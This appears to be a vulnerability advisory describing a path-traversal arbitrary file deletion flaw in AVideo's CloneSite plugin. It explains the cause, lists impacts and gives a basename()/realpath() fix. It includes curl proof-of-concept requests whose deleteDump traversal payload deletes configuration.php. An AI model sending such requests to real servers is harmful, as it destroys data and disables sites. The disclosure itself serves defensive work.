AVideo Affected by Arbitrary File Deletion via Path Traversal in CloneSite deleteDump Parameter

Summary

The deleteDump parameter in plugin/CloneSite/cloneServer.json.php is passed directly to unlink() without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., ../../) to delete arbitrary files on the server, including critical application files such as configuration.php, causing complete denial of service or enabling further attacks by removing security-critical files.

Details

In plugin/CloneSite/cloneServer.json.php, the $clonesDir variable is set to the application's storage path appended with clones/ (line 11). When a deleteDump GET parameter is provided, its value is concatenated directly into a path passed to unlink() with no validation:

// plugin/CloneSite/cloneServer.json.php:10-11
$videosDir = Video::getStoragePath() . "";
$clonesDir = "{$videosDir}clones/";

// plugin/CloneSite/cloneServer.json.php:44-46
if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}

The intended functionality is to delete SQL dump files generated during the clone process (named via uniqid() at line 58). However, because $_GET['deleteDump'] is never passed through basename(), realpath(), or any other path normalization function, an attacker can supply directory traversal sequences to escape the $clonesDir directory.

Given a typical $clonesDir of /var/www/html/videos/clones/, the payload ../../videos/configuration.php resolves to /var/www/html/videos/configuration.php.

The authentication guard thisURLCanCloneMe() at line 38 requires a valid URL and matching key for an admin-approved clone entry (status === 'a'). This is a service-level credential, not an admin session — any approved clone partner possesses these credentials as part of normal operations.

The legitimate clone client at cloneClient.json.php:275 only sends server-generated $json->sqlFile values (produced by uniqid()), but nothing prevents a holder of valid credentials from crafting a manual HTTP request with an arbitrary deleteDump value.

PoC

Prerequisites: A valid clone URL and key pair registered and approved by an admin.

Step 1: Verify the target file exists (e.g., the application configuration file).

curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}"
# Expected: 200 (or 302/403 — file exists and is served/protected)

Step 2: Send the path traversal payload via the deleteDump parameter.

curl -s "https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://approved-clone.local&key=VALID_CLONE_KEY&deleteDump=../../videos/configuration.php"

Expected response:

{"error":false,"msg":"Delete Dump ..\/..\/videos\/configuration.php","url":"https:\/\/approved-clone.local","key":"VALID_CLONE_KEY","useRsync":0,"videosDir":"\/var\/www\/html\/videos\/","sqlFile":"","videoFiles":[],"photoFiles":[]}

"error":false confirms unlink() returned true — the file was successfully deleted.

Step 3: Confirm deletion.

curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}"
# Expected: 404 or 500 — file no longer exists

Step 4: At this point the entire AVideo application is broken, as configuration.php contains database credentials and is require_once'd by nearly every endpoint.

Impact

• Arbitrary file deletion: An attacker can delete any file readable by the web server process, including application source code, configuration files, uploaded media, and database dumps containing credentials.
• Complete denial of service: Deleting configuration.php renders the entire AVideo installation non-functional. Every page load will fatal-error on the missing require_once.
• Security control bypass: Deleting .htaccess files or other access-control configurations can expose otherwise-protected directories and files.
• Data loss: Uploaded videos, user photos, and SQL backups stored under the videos directory can be permanently destroyed.
• Potential escalation: Deleting specific files (e.g., plugin configurations, auth modules) may weaken the application's security posture and enable further attacks.

Recommended Fix

Apply basename() to the deleteDump parameter to strip any directory traversal components, ensuring the deletion is restricted to files within $clonesDir:

// plugin/CloneSite/cloneServer.json.php:44-48
if (!empty($_GET['deleteDump'])) {
    $deleteDump = basename($_GET['deleteDump']);
    $filePath = "{$clonesDir}{$deleteDump}";
    if (strpos(realpath($filePath), realpath($clonesDir)) !== 0) {
        $resp->msg = "Invalid file path";
        die(json_encode($resp));
    }
    $resp->error = !unlink($filePath);
    $resp->msg = "Delete Dump {$deleteDump}";
    die(json_encode($resp));
}

The fix applies defense-in-depth: basename() strips path components, and the realpath() check ensures the resolved path is still within the intended directory even if basename() behavior changes across PHP versions.